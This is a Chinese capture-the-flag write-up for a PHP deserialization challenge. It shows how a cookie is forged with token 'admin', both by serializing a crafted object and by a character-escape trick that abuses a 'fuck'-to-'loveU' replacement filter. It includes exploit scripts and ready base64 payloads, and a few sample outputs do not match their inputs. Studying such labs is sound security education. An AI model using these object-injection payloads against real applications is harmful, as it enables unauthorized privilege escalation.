进入环境,看了一圈没有发现可以利用的点
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/error_reporting(0);
class message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}
}$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];if(isset($f) && isset($m) && isset($t)){$msg = new message($f,$m,$t);$umsg = str_replace('fuck', 'loveU', serialize($msg));setcookie('msg',base64_encode($umsg));echo 'Your message has been sent';
}highlight_file(__FILE__);
在注释的内容里发现了@message.php
访问它,找到源码
<?php
highlight_file(__FILE__);
include('flag.php');class message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}
}if(isset($_COOKIE['msg'])){$msg = unserialize(base64_decode($_COOKIE['msg']));if($msg->token=='admin'){echo $flag;}
}
发现只用在cookie中给msg传入message序列化后进行base64编码的token值为admin就能输出flag
exp:
<?phpclass message{public $token='admin';
}echo base64_encode(serialize(new message()));
传入cookie:msg=Tzo3OiJtZXNzYWdlIjoxOntzOjU6InRva2VuIjtzOjU6ImFkbWluIjt9
得到flag
还有一种方法是字符逃逸
对序列化后的字符串进行替换且替换造成了字符的数量不一致
那么本地测试一下
<?phpclass message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}
}
function filter($msg){return str_replace('fuck', 'loveU',$msg);}
$u = new message("a","b","fuck");
$u1 = serialize($u);
$u2 = filter($u1);
echo $u2;
//O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}
//O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:4:"loveU";s:5:"token";s:4:"user";}
可以发现替换字符串后$to
长度为4,却有5个字符,这时候进行反序列化,也只会截取4个字符,原本U后面的引号前移一位,就逃逸出来了U,而每次多转换一个fuck,就会逃逸出一个字符
这时候我们要让token为admin,就可以让它逃逸出来
在$to
处传入fuck";s:5:"token";s:5:"admin";}
<?phpclass message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}
}
function filter($msg){return str_replace('fuck', 'loveU',$msg);}
$u = new message("a","b",'fuck";s:5:"token";s:5:"admin";}');
$u1 = serialize($u);
$u2 = filter($u1);
echo $u2;
//O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}
//O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:4:"loveU";s:5:"token";s:4:"user";}
//O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:31:"loveU";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}
";s:5:"token";s:5:"admin";}
的长度为27,要让它逃逸出来,要转换27次才行,我们构造一下
<?phpclass message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}
}
function filter($msg){return str_replace('fuck', 'loveU',$msg);}
$u = new message("a","b",'fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}');
$u1 = serialize($u);
$u2 = filter($u1);
echo $u2;
//O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:135:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}
转换后,后面的27位字符";s:5:"token";s:5:"admin";}
逃逸出来了,第一个字符"会补上去闭合$to
最后得到
O:7:"message":4{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:135:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}
在进行base64编码
<?phpclass message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}
}
function filter($msg){return str_replace('fuck', 'loveU',$msg);}
$u = new message("a","b",'fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}');
$u1 = serialize($u);
$u2 = filter($u1);
echo base64_encode($u2);
得到
Tzo3OiJtZXNzYWdlIjo0OntzOjQ6ImZyb20iO3M6MToiYSI7czozOiJtc2ciO3M6MToiYiI7czoyOiJ0byI7czoxMzU6ImxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVSI7czo1OiJ0b2tlbiI7czo1OiJhZG1pbiI7fSI7czo1OiJ0b2tlbiI7czo0OiJ1c2VyIjt9
传入cookie得到flag